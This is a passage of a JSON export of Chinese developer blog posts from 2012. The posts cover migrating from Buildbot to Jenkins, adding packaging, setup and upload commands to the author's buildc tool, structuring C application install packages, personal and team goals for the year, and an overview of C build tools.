Server进行数据交互了。\n三、创建Job并执行集成\n有了Node(没有也行，在Master上也可以执行集成)，我们就可以创建Job进行集成了。Jenkins Job的创建和配置也比较简单，这里同样不赘述了。我们的项目有了buildc这样的工具作为铺垫后，其构建脚本就变得相当简单了。在Job的execute shell中填写几行命令即可：\nbuildc config-make\nmake check-style\nmake compile-tests\nmake run-tests\nmake\n对于setup工程来说，由于buildc的存在，我们也可以通过执行buildc pack build完成构建，甚至是上传安装包到指定位置。所以在折腾Jenkins的同时，我也在考虑是否可以利用Jenkins搭建一套安装包制作和发布系统呢！\n四、其他\nJenkins还有一点要优于Buildbot，那就是Jenkins拥有Buildbot所没有的\u0026quot;立即构建(Build Now)\u0026ldquo;功能(经提醒，buildbot也支持force build功能，只不过需要在master配置中这样来配置：c[\u0026lsquo;status\u0026rsquo;].append(html.WebStatus(http_port=8011, allowForce=True)))，对于我来说，这个功能在调试CI脚本时尤其有用。另外，市面上有关Jenkins的书籍并不多，《Jenkins: The Definitive Guide》算是目前市面上讲解Jenkins最为系统和全面的一本了，目前它也在我的\u0026quot;在读\u0026quot;列表中。\n从目前的实验结果来看，Jenkins替代Buildbot是完全可行的，而且迁移难度和工作量也没有太多。由于接触Jenkins时间尚短，其强大的功能还需待日后进一步挖掘。\n","permalink":"https://tonybai.com/2012/02/14/install-and-configure-jenkins/","summary":"\u003cp\u003e\u003ca href=\"http://tonybai.com/2011/05/18/set-up-ci-environment-with-buildbot/\"\u003eBuildbot\u003c/a\u003e是产品线C应用项目中采用的唯一持续集成工具，一直以来用得还不错。但前些日子部门负责过程改善的同事找到我，说今年部门计划统一各个项目组所使用的\u003ca href=\"http://en.wikipedia.org/wiki/Continuous_integration\"\u003eContinuous Integration\u003c/a\u003e工具，Buildbot有些小众，没有入大家的法眼，部门期望使用的是\u003ca href=\"http://jenkins-ci.org/\"\u003eJenkins\u003c/a\u003e(即原来的Hudson)。既然组织有统一规划，那我自然积极支持。但首先要做的就是评估Jenkins是否能满足我们的需求，并且看看从Buildbot迁移到Jenkins的难度及工作量有多少。这不，今天下午就一直在折腾Jenkins。\u003c/p\u003e\n\u003cp\u003e一、安装Jenkins\u003cbr\u003e\nJenkins(前身Hudson)很流行，在各大主流操作系统平台上都有很好的支持，其安装甚是方便，特别是在各主流的Linux发行版平台上，均可使用OS自带的应用包管理工具进行自动安装；当然你也可以直接在官方下载war包。我采用的就是第二种方式，旨在获得更高的Jenkins版本，不过让我失望的是在Ubuntu 9.04(Java version: 1.6.0_20)上，最新的1.451和1.450版本均启动失败，这也是我之前不太喜欢使用Java实现的工具的一个原因之一 – 总是容易出现莫名其妙的异常，而且较难找到原因，也很难fix，除非自己重新构建war包。在这方面像Python等动态脚本语言就有先天优势，一旦出现问题，我可以直接在源码中定位和修改。\u003c/p\u003e","title":"折腾Jenkins"},{"content":"在\u0026quot;也谈C应用安装包制作与部署\u0026ldquo;一文中，我提到了为每一个源码工程建立单独的安装包制作工程(setup project)的想法，这两天我就一直在折腾这件事儿^_^。\n最初我并没有想去搞一个通用的安装包制作工具，只是为一个现有的源码工程建立了一个试验性质的安装包工程，并实现了其构建脚本(build.py)。但之后考虑到各个项目都要建立一个对应的安装包工程，安装包工程的构建脚本build.py势必会沦落成被copy来copy去的下场，这显然不是一个很好的解决问题的办法。那是否需要再单独设计和实现一个安装包制作工具呢？工具多了，大家用起来肯定会很烦，不能自找没趣^_^。要知道为程序员编写工具可是一件很困难、很头疼，需要你很谨慎的事情。现在我们已经有了源码工程构建工具buildc，我前几天还为buildc添加了安装脚本，并用之改造了一个真实的工程，并给大家做了讲解，可以说大家对buildc算是接受了。\n那把安装包制作功能集成到buildc中呢？一个大胆的想法油然而生。这样做似乎扩展了原buildc的设计意图：不仅可以做源码工程的构建辅助工具，还可以用于辅助生成安装包制作工程并制作安装包，并且这样做也最大限度迎合了组织内部大家的需求，避免了日后被狠狠地拍板砖^_^。\n之前的试验安装包工程的构建脚本已经实现，现在只需将其功能移植到buildc中即可。在\u0026rdquo;也谈C应用安装包制作与部署\u0026ldquo;一文中我提到了一个示例安装包工程的组织方式，其实这里的buildc所实现的安装包制作功能也是以这个安装包工程的组织方式作为前提的，不过这里又略做了些改动，示例如下：\nsetup_project/\n– setup.cfg\n– distributions/\n– cn-foo-2.14.0.0-x86-linux-64bit.tar.gz\n– src/\n– setup.py*\n– README\n– app/\n– env/\n– conf/\n– log/\n– bin/\n…\n– deps/\n– libs/\n– tools/\n– scripts/\n– deps_check.sh\n– others/\n也就是说，buildc生成的C应用安装包工程目录组织方式就是这样的；反过来说只有这个模样的安装包工程才能使用buildc进行安装包构建。我为buildc添加了一个Command \u0026ldquo;pack\u0026quot;用于安装包工程相关操作，这个命令的使用方式如下：\n一、安装包工程的创建\n在任意路径下执行buildc pack create –project=YOUR_SETUP_PROJECT_NAME，你即可在当前目录下看到一个empty安装包工程：\n$\u0026gt; buildc pack create –project=foo_setup\nSetup project [foo_setup] create OK!\n$\u0026gt; cd foo_setup\n$\u0026gt; ls\ndistributions/ setup.cfg src/\n$\u0026gt; cd src; ls\n$\u0026gt; app/ deps/ env/ others/ README scripts/ setup.py*\n二、配置安装包工程\n在生成的安装包工程下面有一个配置文件setup.cfg，在使用buildc进行安装包构建之前，务必先进行该文件的配置，其内容示例如下：\ndistribution = {\n\u0026ldquo;packname\u0026rdquo; : \u0026ldquo;cn-foo\u0026rdquo;,\n\u0026ldquo;version\u0026rdquo; : \u0026ldquo;2.14.0.1\u0026rdquo;,\n}\nsource = {\n\u0026ldquo;trunk\u0026rdquo; : \u0026ldquo;svn://10.10.15.56:4444/cn/trunk/foo\u0026rdquo;,\n\u0026ldquo;binary_prefix\u0026rdquo; : \u0026ldquo;cn-foo\u0026rdquo;\n}\n其中：\ndistribution[\u0026lsquo;packname\u0026rsquo;] – 最终安装包的名字前缀\ndistribution[\u0026lsquo;version\u0026rsquo;] – 最终安装包的版本号\nsource[\u0026rsquo;trunk\u0026rsquo;] – 该安装包工程所对应的源码工程的svn url\nsource[\u0026lsquo;binary_prefix\u0026rsquo;] – 源码工程构建后所生成的二进制可执行文件的名字前缀\n三、构建安装包\n在已经配置好的安装包工程中，使用buildc pack build命令即可以进行安装包的制作，例如：\n$\u0026gt; buildc pack build\nClean [.build] OK!\nClean [.package] OK!\nClean [./src/app] OK!\nClean [./distributions] OK!\nPackage distribution clean OK!\nCreate dir [.build] OK!\nExport [svn://10.10.15.56:4444/cn/trunk/foo] OK!\nCd /home/tonybai/proj/foo_setup/.build/foo\nConfig Make.rules OK!\nMake Ok!\nCopy binary file to [/home/tonybai/proj/foo_setup/src/app] Ok!\nCd /home/tonybai/proj/foo_setup\nDel [.build] OK!\nBuild source [svn://10.10.15.56:4444/cn/trunk/foo] OK!\nCreate dir [.package] OK!\nCd /home/tonybai/proj/foo_setup/.package\nGenerate cn-foo-2.14.0.1-x86-linux-64bit.tar OK!\nZip cn-foo-2.14.0.1-x86-linux-64bit.tar OK!\nCd /home/tonybai/proj/foo_setup\nDel [.package] OK!\nMake target [cn-foo-2.14.0.1-x86-linux-64bit.tar.gz] OK!\n构建成功后，你会在distributions目录下看到最终的安装包。如果在buildc命令行中没有指定–tag=YOUR_SOURCE_TAG，buildc会使用setup.cfg中source[\u0026rsquo;trunk\u0026rsquo;]中的配置检出trunk代码并构建；如果指定了SOURCE TAG，那么buildc就会使用tag中提供的source svn url检出代码并构建，例如下面的命令将检出foo-2.14.0.2标签的代码并构建可执行程序：\n$\u0026gt; bulidc pack build –tag=svn://10.10.15.56:4444/cn/tags/foo-2.14.0.2\n四、清理安装包工程\n在工程目录下，使用buildc pack clean命令可以对安装包工程进行清理：\n$\u0026gt; buildc pack clean\nClean [.build] OK!\nClean [.package] OK!\nClean [./src/app] OK!\nClean [./distributions] OK!\nPackage distribution clean OK!\n五、上传安装包文件\n在制作完安装包后，我们一般会将其上传到一个指定的发布服务器上去。buildc提供了上传安装包的功能。使用buildc pack upload –host=HOST –user=USERNAME –passwd=PASSWD –dir=REMOTEDIR –port=FTP_PORT命令我们可以将构建完毕的安装包文件上传到远程服务器上面，例如：\n$\u0026gt; buildc pack upload –host=10.10.1.191 –user=tony –passwd=tony –dir=dist\nCd distributions\nUpload [cn-foo-2.14.0.0-x86-linux-64bit.tar.gz] OK!\nBTW，在编写和使用buildc的过程中，我真实地体会到了用脚本语言源文件作为配置文件的强大，与典型的.ini或.xml等类型配置文件相比，其灵活性过之尤甚，特别是在配置文件中嵌入一些代码就可以改变配置行为，并且脚本语言提供的丰富且强大的数据结构可以充分满足你对配置文件数据组织的需求。\n","permalink":"https://tonybai.com/2012/02/10/add-packing-feature-to-buildc/","summary":"\u003cp\u003e在\u0026quot;\u003ca href=\"http://tonybai.com/2012/02/01/also-talk-about-c-app-install-package-making-and-deploying/\"\u003e也谈C应用安装包制作与部署\u003c/a\u003e\u0026ldquo;一文中，我提到了为每一个源码工程建立单独的安装包制作工程(setup project)的想法，这两天我就一直在折腾这件事儿^_^。\u003c/p\u003e\n\u003cp\u003e最初我并没有想去搞一个通用的安装包制作工具，只是为一个现有的源码工程建立了一个试验性质的安装包工程，并实现了其构建脚本(build.py)。但之后考虑到各个项目都要建立一个对应的安装包工程，安装包工程的构建脚本build.py势必会沦落成被copy来copy去的下场，这显然不是一个很好的解决问题的办法。那是否需要再单独设计和实现一个安装包制作工具呢？工具多了，大家用起来肯定会很烦，不能自找没趣^_^。要知道为程序员编写工具可是一件很困难、很头疼，需要你很谨慎的事情。现在我们已经有了源码工程构建工具\u003ca href=\"http://tonybai.com/2011/12/08/buildc-a-building-assistant-tool-for-c-app/\"\u003ebuildc\u003c/a\u003e，我前几天还为buildc添加了\u003ca href=\"http://tonybai.com/2012/02/07/add-setup-script-for-buildc/\"\u003e安装脚本\u003c/a\u003e，并用之改造了一个真实的工程，并给大家做了讲解，可以说大家对\u003ca href=\"http://code.google.com/p/buildc/\"\u003ebuildc\u003c/a\u003e算是接受了。\u003c/p\u003e","title":"为buildc添加安装包制作相关功能"},{"content":"buildc在发布0.1.0版时并没有做好安装脚本，当时的建议是直接下载0.1.0的源码包或svn export/checkout源码包，并手工将buildc目录位置加入到用户的PATH环境变量中。近期buildc计划正式投入到项目中使用，为了方便大家安装以及以后的统一升级维护，我花了些时间给buildc加上了setup脚本。\nPython有标准的程序分发方案，不过我对这些了解不多。buildc本身很简单，我觉得没有必要把安装做得很复杂，所以就自己动手编写了一个setup.py，不到100行，用于安装buildc。\nPython的标准安装脚本也叫setup.py，我这里也借鉴了这个名字。有了setup.py，buildc的安装就简单多了：\n* 下载buildc Release包(当前最新是buildc-0.1.1)\n* 解压发布包，在发布包路径下，执行setup.py install [\u0026ndash;prefix=YOUR_INSTALL_PATH]\nsetup.py默认将buildc安装到/usr/share/buildc下面，并在/usr/bin下建立一个到/usr/share/buildc/buildc脚本的符号链接(symbol link)，当然这种安装是需要root权限的，但一旦安装好，host上的所有用户就都可以使用buildc了，日后统一升级buildc也十分方便；如果你不想在默认路径下安装，可以通过–prefix=XXX指定你自己的安装路径，这种情景下，setup.py不会建立什么符号链接，需要你手动将你的安装路径加入到你的PATH环境变量中，以便后续使用。\n卸载buildc也十分方便，执行一条\u0026quot;setup.py uninstall [\u0026ndash;prefix=YOUR_INSTALL_PATH]即可。\nsetup.py的安装原理很简单，就是利用shutil包的copytree将buildc目录复制到指定目录下。shutil的copytree在Python 2.6以后版本中支持ignore参数，可以有选择的将buildc目录下的文件和目录复制到目标目录，比如.pyc文件或.svn目录本不应该出现在目标目录下，我们就可以通过ignore参数指定一个ignore_patterns来过滤掉这些文件或目录：\nshutil.copytree(package_root, install_root, ignore = shutil.ignore_patterns(\u0026rsquo;*.pyc\u0026rsquo;, \u0026lsquo;.svn\u0026rsquo;))\n但在Python 2.6版本之前，ignore参数是不被支持的，所以这里也留下缺憾，那就是如果你使用svn checkout方式下载源码包，安装的时候.svn等目录也会被安装到目标目录下，看起来别扭，但不影响您对buildc的使用。\n","permalink":"https://tonybai.com/2012/02/07/add-setup-script-for-buildc/","summary":"\u003cp\u003e\u003ca href=\"http://code.google.com/p/buildc\"\u003ebuildc\u003c/a\u003e在发布0.1.0版时并没有做好安装脚本，当时的建议是直接下载0.1.0的源码包或\u003ca href=\"http://tonybai.com/tag/Subversion\"\u003esvn\u003c/a\u003e export/checkout源码包，并手工将\u003ca href=\"http://tonybai.com/2011/12/08/buildc-a-building-assistant-tool-for-c-app/\"\u003ebuildc\u003c/a\u003e目录位置加入到用户的PATH环境变量中。近期buildc计划正式投入到项目中使用，为了方便大家安装以及以后的统一升级维护，我花了些时间给buildc加上了setup脚本。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://python.org/\"\u003ePython\u003c/a\u003e有标准的程序分发方案，不过我对这些了解不多。buildc本身很简单，我觉得没有必要把安装做得很复杂，所以就自己动手编写了一个setup.py，不到100行，用于安装buildc。\u003c/p\u003e\n\u003cp\u003ePython的标准安装脚本也叫setup.py，我这里也借鉴了这个名字。有了setup.py，buildc的安装就简单多了：\u003cbr\u003e\n* 下载buildc Release包(当前最新是buildc-0.1.1)\u003cbr\u003e\n* 解压发布包，在发布包路径下，执行setup.py install [\u0026ndash;prefix=YOUR_INSTALL_PATH]\u003c/p\u003e","title":"为buildc添加setup脚本"},{"content":"虽然部门一直在做C应用，但这么多年来，在C应用的安装包制作以及部署方面做得还是很初级，可以说还没有达到规范的程度。各个产品线的C应用安装包种类多样，水平参差不齐：有些产品的源码包即是安装包，把源码包拿到生产环境下编译后使用；有的项目则将编译好的目标文件(.o)以及第三方库放在安装包中，在生产环境下重新链接生成可执行文件；有的组则稍微专业一些，安装包中放的是编译好的可执行文件，但在目标主机上安装和执行时也都遇到了一些问题，诸如运行环境中的第三方库版本号与程序所依赖的不一致等。\n去年年底，我就将\u0026quot;C应用安装包制作和部署\u0026quot;的改进作为今年的一个工作重点。这两天我粗略地考量了一下这方面的内容，这里也简单地谈谈。\n总的来说，摆在我们面前的有三个主要问题：\n1、安装包的组织方式不规范，不统一；\n2、安装包的制作方式不规范，不统一；\n3、安装包的部署方法不规范，不统一；\n好了，下面我们就来针对上述问题逐一说说改进思路（注意以下内容并非普适）。\n一、安装包组织方式\n在Linux平台上应用的标准安装包是rpm或deb，但这种安装包形式似乎不太适合我们这种C后台应用。我对rpm或deb安装包了解的不多，但印象中这类安装包的安装一般为完全安装，但我们的应用升级版本时多数为增量安装或局部替换，因此做成rpm或deb虽然看起来专业一些，但实际操作起来并不灵活，因此自定义的安装包组织方式似乎更符合我们的需求。\n下面是一个安装包的组织结构样例：\nINSTALL_PACKAGE/\n– install.sh\n– README\n– app/\n– foo-1.0.1*\n– env/\n– conf/\n– log/\n– bin/\n…\n– deps/\n– libs/\n– bar/\n– tools/\n– scripts/\n– deps_check.sh\n– …\n– others/\n其中:\napp目录下存放的是可执行文件;\nenv目录下存放的是可执行程序运行时所需要的目录结构，包括配置文件等;\ndeps目录下存放的是可执行程序运行时所依赖的第三方库以及一些工具;\nscripts目录下存放的是安装包安装过程中所需要的辅助脚本;\nothers目录下可以存放无法在上述目录下存放的其他数据;\ninstall.sh是总控安装脚本，可以用于在目标主机上安装app、完整安装运行时环境、安装依赖libs或工具，执行scripts下面的必要脚本。\n这样的一种安装包格式比较灵活，我们可以根据需要通过install.sh安装可执行文件或某个配置文件或其他数据文件。将INSTALL_PACKAGE目录打包(.tag.gz or .zip)就得到了我们的安装包。\n安装包命名是要符合一定规范的，也便于进行配置管理。一个典型的安装包命名规范：程序名-版本号-平台-操作系统-编译模式.tar.gz[.zip]，例如：\nfoo-1.8.3-x86-linux-64bit.tar.gz\nbar-2.9.3-x86-solaris-32bit.tar.gz\nzoo-1.3.2-sparc-solaris-64bit.zip\n二、安装包的制作方式\n以往的安装包都是直接基于项目源码库构建出来的，很多运行时目录、配置文件以及辅助脚本也都与源代码存放在一起，这样一来让源码库看起来很臃肿，二来一份源码控制无法对应部署到多个不同客户现场的安装包，也就是说不同客户生产环境下的配置、数据等都是不同的，但源码库只有一个，我只能保存一份配置，因此在生成不同安装包是似乎要临时修改，且无法将这些修改做版本管理。\n我的一个想法就是将安装包涉及到的相关文件和目录从源码库中剥离出来，针对每个项目源码，我都会建立若干个安装包工程，安装包则是这些工程(project)的产物，且可以针对不同客户做有针对性的安装包修改和版本管理。记得Microsoft的Visual Studio就有单独的安装包制作工程模板，这里也算借鉴Visual Studio中安装包工程的思想了^_^。\n下面是一个安装包工程的示例：\nfoo_INSTALL_Proj/\n– Makefile\n– distributions/\n– foo-2.9.3-x86-linux-64bit.tar.gz\n– src/\n– install.sh\n– README\n– app/\n– env/\n– conf/\n– log/\n– fifo/\n– bin/\n…\n– deps/\n– libs/\n– tools/\n– scripts/\n– deps_check.sh\n– others/\n其中src下面的内容就是上面提到的安装包的组织，通过安装包工程我们就可以灵活控制安装包中的每一个元素，而对源码没有任何影响。\n三、安装包的安装模式\n有了前面两个问题解决作为铺垫，这个问题就很好办了。我们的应用大致有两种安装模式：本地安装和远程安装，实际上也是一回事。本地安装就是手工将安装包放在某个目标主机上，然后解压，并利用安装包中的install.sh来安装需要的文件；而远程安装多半是用远程控制工具将安装包上传到目标主机（可能是多台），并通过远程命令在远程主机上执行本地安装。\n这里想到的一个改进就是在目标环境中部署应用前，首先执行一次部署约束检查，检查目标环境是否满足新应用部署和运行的约束条件。这在以前的部署步骤中是没有的，约束检测脚本可随安装包携带，比如放在scripts目录下。\n总之，规范化的安装包组织形式、制作方式以及部署方式不仅是一种专业化的表现，它与一些自动化工具的结合还会促进团队或组织整体效率的提升\n。\n","permalink":"https://tonybai.com/2012/02/01/also-talk-about-c-app-install-package-making-and-deploying/","summary":"\u003cp\u003e虽然部门一直在做\u003ca href=\"http://tonybai.com/tag/C\"\u003eC应用\u003c/a\u003e，但这么多年来，在C应用的安装包制作以及部署方面做得还是很初级，可以说还没有达到规范的程度。各个产品线的C应用安装包种类多样，水平参差不齐：有些产品的源码包即是安装包，把源码包拿到生产环境下编译后使用；有的项目则将编译好的目标文件(.o)以及第三方库放在安装包中，在生产环境下重新链接生成可执行文件；有的组则稍微专业一些，安装包中放的是编译好的可执行文件，但在目标主机上安装和执行时也都遇到了一些问题，诸如运行环境中的第三方库版本号与程序所依赖的不一致等。\u003c/p\u003e\n\u003cp\u003e去年年底，我就将\u0026quot;C应用安装包制作和部署\u0026quot;的改进作为今年的一个工作重点。这两天我粗略地考量了一下这方面的内容，这里也简单地谈谈。\u003c/p\u003e","title":"也谈C应用安装包制作与部署"},{"content":"对于我这个上班族来说，这假期真的不能太长，否则就适得其反了：不但不会得到很好的休息，反而感觉更累了。也许很多朋友和我有同样的感受^_^。这不，这个春节在家待得就比较\u0026quot;闹心\u0026quot;，特别是后几天，想上班的冲动那叫一个此起彼伏啊，终于今天如愿了^_^。\n今天是壬辰龙年春节后的第一个工作日。如以往一样，办公室里比较冷清，很多同事还尚未结束休假。这可真是做整年谋划的黄金时间啊，我是这么想的，也是这么做的。\n2012元旦后我就一直在考量，考量的内容除了个人目标外。还有团队目标和组织目标，以往考虑个人的居多，现在逐渐开始考虑团队和组织了，也算是一个进步吧。下面分别列一下目标清单。\n一、个人目标\n1、将Blog进行到底\n2011年写了80余篇blog，今年力争百篇blog，在家庭琐事繁多、工作日益繁忙的今天，这个目标很鸡血啊！\n2、全年至少精读50本书\n\u0026ldquo;书中自有黄金屋\u0026rdquo;(颜如玉就算了^_^)，不读书总感觉空虚。经过2011年一年读书习惯的养成，特别是购买了电子书阅读器Bambook后，我对实现这一目标很是自信。另外我目前的纸质\u0026quot;存书\u0026quot;(买来后尚未读)也是很多的，今年也打算好好的\u0026quot;扫扫\u0026quot;。\n3、学习一到两门新语言\n\u0026ldquo;每年学习一门新编程语言\u0026rdquo;- 《The Pragmatic Programmer》一书的教诲不敢忘却，今年计划尝试一下Clojure，Lisp的又一种dialet，结合了强大的JVM，可以使用已有的丰富的Java类库，个人感觉Clojure似乎比Common Lisp更有前途；Lua，在云风的blog中经常提到的一门嵌入式动态脚本语言，前不久刚发布了5.2版本，我也打算了解一下。\n4、深入使用Common Lisp和Python\n去年学习了Common Lisp，但感觉还不够深入，今年打算再加深一下；至于Python，我已经在实际开发中运用了，但也只能算初级运用，今年也打算继续深入学习和使用一下，至少在buildc重构时以及为c_style_check.py添加新feature时可以用到。\n5、继续为开源做点力所能及的事儿\n在相继开源了lcut、cbehave和buildc等小工具后，今年尚未有很明确的新目标。最基本的计划是对buildc进行重构，并为c_style_check.py增加新feature以满足我们团队内部的需要。\n6、坚持每天至少回答一个Stackoverflow上的问题\n这个既可以锻炼一下自己的English Comprehension和Writing水平，同时也可以为这个知名的IT Community的知识管理作出一点贡献，顺便也给自己增加点人气数值。\n7、养成几个好习惯\n春节前读过刘未鹏的《暗时间》，受益匪浅啊。感觉自己在很多方面与书中提到的“先进行为和思维方式”还差得远，所以结合这本书中提到的内容，我计划在如下方面培养自己的好习惯：\n- 做好读书笔记，留住闪念，提高读书效果\n- 继续提高关注力，加强潜意识效率\n- 减少中断式的任务查询，加强积极的任务安排和计划（改善时间管理）\n- 尝试按\u0026quot;主题\u0026quot;读书，提高读书效率\n- 加强新知识的总结\n- 加强事前准备工作\n- 注重\u0026quot;元知识\u0026quot;的学习和积累(所谓元知识，就是能够产生或推导出知识的知识)\n8、理顺管理知识体系\n做了几年的技术管理，团队的规模也是日益庞大，但总是感觉自己在技术管理这方面还很初级，知识脉络还不清晰。今年打算多反思一下这几年在项目产品开发、团队管理等方面的得与失，让管理能力真正成为自己的一种核心竞争力。\n二、团队目标\n2012年我给产品研发团队确定的关键词是\u0026quot;收获\u0026quot;。经过2011年的铺垫，今年该是\u0026quot;收获\u0026quot;的一年了。不过收获前，我们依旧是要付出辛勤和汗水的，我心里很是清楚这一点。围绕着这一点，我确定了今年团队的几个行动原则：\n1、以终为始\n开年伊始我们就要十分明确：我们的最终目标是什么？我们要成为一个什么样的团队？我们要开发出什么样的产品？我们产品上线后能给客户带来什么样的价值？只有明确后，我们再围绕着这些制定全年的计划和目标，基本上还是很靠谱的。\n2、创业精神\n这四个字是今年年底公司大BOSS在一封内部Mail中提到的 – 公司刚刚走过20年，又迈上了新征程，需要大家具备创业的精神来支撑公司未来的发展。想到\u0026quot;创业\u0026quot;，我的第一反应是：辛苦。所以给团队定下此原则也是有深层含义的，那就是在人力资源有限的情况下，完成目标是要付出很大辛苦的。这的对于大BOSS提出的\u0026quot;创业精神\u0026quot;的解读也许有些狭隘了，但这的确符合我们团队今年所面对的情况。\n3、追求高效 高效是一直我所倡导的团队文化之一。关于提高效率，我的观点是个体能力提升与组织基础服务并进。在今年我对团队的期望依旧如此。我们要考虑的是围绕着这一原则，我们该做些啥。\n4、过程与结果双赢 《暗时间》中刘未鹏提到\u0026quot;看中过程，而不是单次的结果，因为再好的过程也有可能失利，但从长远来看，好的过程总体上必须导致好的结果\u0026quot;。对此观点，我很是赞同。因为我一直所追求的也是\u0026quot;过程\u0026quot;与\u0026quot;结果\u0026quot;的双赢，只有这样才能推进个人、团队乃至组织的持续成长，若只有结果，也许只是收获一时的成长，但能否持续成长就要看造化了。\n关于团队的具体目标，这里就不好说了。\n三、组织目标\n这里只说我能看到的且可以付出努力去争取的。\n1、资源整合与合理调配\n随着产品和项目的调整，现有的内部资源分配亟需调整，无论是人力资源还是硬件资源，特别是硬件资源，可使用现有新技术做出合理调配，让每台服务器都能物尽其用，减少因硬件资源不足而导致的进度延迟的情况。\n2、尝试降低或消除部门间\u0026quot;壁垒\u0026quot;，积极促进部门间的沟通交流\n做这件事的目的同样是为了消除浪费，整合资源，形成合力，制度化的部门间沟通平台的建立是大有裨益的。\n3、人员招聘选拔\n部门在人员招聘选拔上尚不够规范和系统，略显粗放和随便，这样除了会导致成本浪费之外，还可能导致所招之人根本无法达到预期，即所谓“招错人”现象的发生。这方面亟待加强，至少要做到“严进”二字。\n以上就是我谋划的2012，目标的确有些鸡血！但我相信只要持续努力，持续去做，一步一个脚印，其结果肯定是好的。\n","permalink":"https://tonybai.com/2012/01/29/plan-and-design-2012/","summary":"\u003cp\u003e对于我这个上班族来说，这假期真的不能太长，否则就适得其反了：不但不会得到很好的休息，反而感觉更累了。也许很多朋友和我有同样的感受^_^。这不，这个春节在家待得就比较\u0026quot;闹心\u0026quot;，特别是后几天，想上班的冲动那叫一个此起彼伏啊，终于今天如愿了^_^。\u003c/p\u003e","title":"谋划2012"},{"content":"2012，是农历龙年，也是中华民族的本命年。龙，是我们民族的图腾，大家对龙都是有着特殊的情感的，比如壬辰年的生辰龙票就特别抢手。\n龙年了，果果也长大了，越来越像女孩儿了，呵呵（因头发短，常被人误认为是男孩儿），下面是果果近期的一些写真^_^，请您欣赏：\n这种玩具难不倒我\n瞧，我的眼神犀利不！\n妈妈给我买的眼镜，知性不？\n数一数，墙上有几朵花？\n过年了，我的新衣服喜庆不？\n好了，最后在龙年的大年初一，我代表的我的宝贝女儿果果给您拜年了。祝大家龙年新春快乐，阖家幸福，身体健康，万事如意。\n","permalink":"https://tonybai.com/2012/01/23/happy-spring-festival-from-my-daughter-2012/","summary":"\u003cp\u003e2012，是农历龙年，也是中华民族的本命年。龙，是我们民族的图腾，大家对龙都是有着特殊的情感的，比如壬辰年的生辰龙票就特别抢手。\u003c/p\u003e\n\u003cp\u003e龙年了，果果也长大了，越来越像女孩儿了，呵呵（因头发短，常被人误认为是男孩儿），下面是果果近期的一些写真^_^，请您欣赏：\u003c/p\u003e","title":"2012·果果给您拜年了"},{"content":"构建是软件开发过程中最常见的活动之一，也是很容易被忽视的环节。规范以及高效的构建对软件开发过程而言是大有裨益的。C语言并非一门年轻的语言，其历史已甚为悠久了(相对于还年轻的IT领域^_^)。从C语言诞生以来，市面上存在的C语言应用何止千千万万。这些C应用的源码组织形式种类万千，从最简单的单个源文件，到复杂的诸如Apache httpd server这样庞大的Project。不过无论这些C应用的源码组织形态如何，构建都是这些应用开发过程中必不可少的一步。\n伴随着C语言的普及，C语言应用的构建工具也逐渐发展起来，随着Project构建复杂性的增加，大致可分为四个阶段(个人观点)：\n* 命令行构建\n对于简单应用来说，其源文件数量一般较少，且可能都放在一个同目录下，构建这样的工程的最简单的方法就是直接在命令行上输入编译命令(诸如gcc -o foo foo.c bar.c)。这种方式在C诞生早期的简单应用或对于刚刚C入门朋友来说是最常见的。\n* make工具\n随着Project复杂程度的增加，使用命令行编译构建的难度日益加大，大家开始使用make工具。make工具的实质是帮助项目管理依赖关系。C应用构建的最终目标一般都是一个可执行文件，该文件一般是由所有源文件的目标文件以及依赖的第三方库链接后生成的，也就是说该文件依赖项目源文件的目标文件以及第三方库。我们可以将这种依赖关系用make工具指定的专用语法描述出来，形成Makefile文件。后续我们如果要构建该Project，只需敲入make即可。make工具会自动分析Makefile中的依赖关系，并执行依赖关系对应的命令，并最终完成构建。\n* autotools\n虽然make工具很好地解决了复杂Project的构建问题，但make本身的学习曲线也是很陡峭的，也就是说要为一个复杂的C应用编写Makefile脚本并非易事，特别是复杂Project中那更为复杂的依赖关系，可以让任一一个程序员望而却步。大家都看到了这一点，因此就有了autotools工具集的诞生。autotools工具集由autoconf、autoheader、automake和libtool等工具组成，其主要目标就是简化项目Makefile的编写。使用autotools，我们可以为C应用的Project自动生成Makefile，这显然是一个很大的进步，对于复杂的Project尤甚。\n* 新兴的通用构建工具\n虽然autotools的出现解决了一些C应用构建难的问题，但autotools自身使用起来也是略显复杂的。特别是它由若干工具组成，并需要这些工具一起配合才能完成一个Project的Makefile的编写和生成，学习这些工具本身也要耗费很多时间。随着一些脚本语言的流行，一些新兴的通用构建工具逐渐出现在大家的视线中，诸如Scons、rake等。这些新工具吸取了make等门槛较高、不易用的教训，利用脚本语言特有的性质打造出了更加简单易用的构建脚本，现在很多C应用都开始使用这些工具简化构建脚本编写了。\n究竟是使用哪种构建工具，这还是取决于项目所处的\u0026quot;环境\u0026quot;，包括项目的复杂性，人员的平均技能水准等等。但有了构建工具还不足矣，我们再来看看关于C语言应用构建还有哪些应该关注的地方。\n一、规范化项目源码组织\n项目的源码组织是应该先于构建脚本实现的，因此良好的项目源码组织也有助于构建脚本的编写，同时也有利于组织内部的标准化和复用。但C应用的源码组织的确没有统一的标准，也没有最好可言，也许只有适不适合。下面就是我们所使用的一个典型的C应用(非公共库)源码组织示例：\nFoo_proj/\n– Makefile\n– sub_proj1/\n– Make.rules(由buildc生成)\n– Makefile\n– include/\n– module1/\n– xx.c\n– Makefile\n– tests/\n– xx_test.c\n– Makefile\n– module2/\n… …\n– sub_proj2\n– Make.rules(由buildc生成)\n– Makefile\n– include/\n– module1/\n– xx.c\n– Makefile\n– tests/\n– xx_test.c\n– Makefile\n… …\n针对这个示例有几个注意事项要说明一下：\na)\n以前在很多Project中，都会包含一个顶层的(toplevel)Make.rules，这样的设计考虑无非是希望项目下的其他sub_proj可以复用该Make.rules，这看起来似乎方便了。但实际这样做是在各个子项目间建立了一层构建耦合关系：很多子项目都有个性化的构建需求，这样一来可能会频繁对该顶层Make.rules进行修改；或是当无法修改顶层Make.rules时子项目还是会在自己下面增加一个子Make.rules以满足构建的个性化需求。我们莫不如去掉顶层Make.rules，而在各个子项目中添加自己的Make.rules。特别是在有了buildc工具以后，每个子项目下的Make.rules都是自动生成的，这样不但不会增加太多的额外工作量，还从根本上去除了子项目间的一种耦合，完全可满足sub_proj的个性化的构建需求。\nb) 顶层的Makefile依旧保留，一般作为一键构建整个项目时之用。顶层的Makefile实际来看就是将各个sub_proj串接起来，再说白些，就是遍历的调用各个sub_proj下的Makefile。\nc) 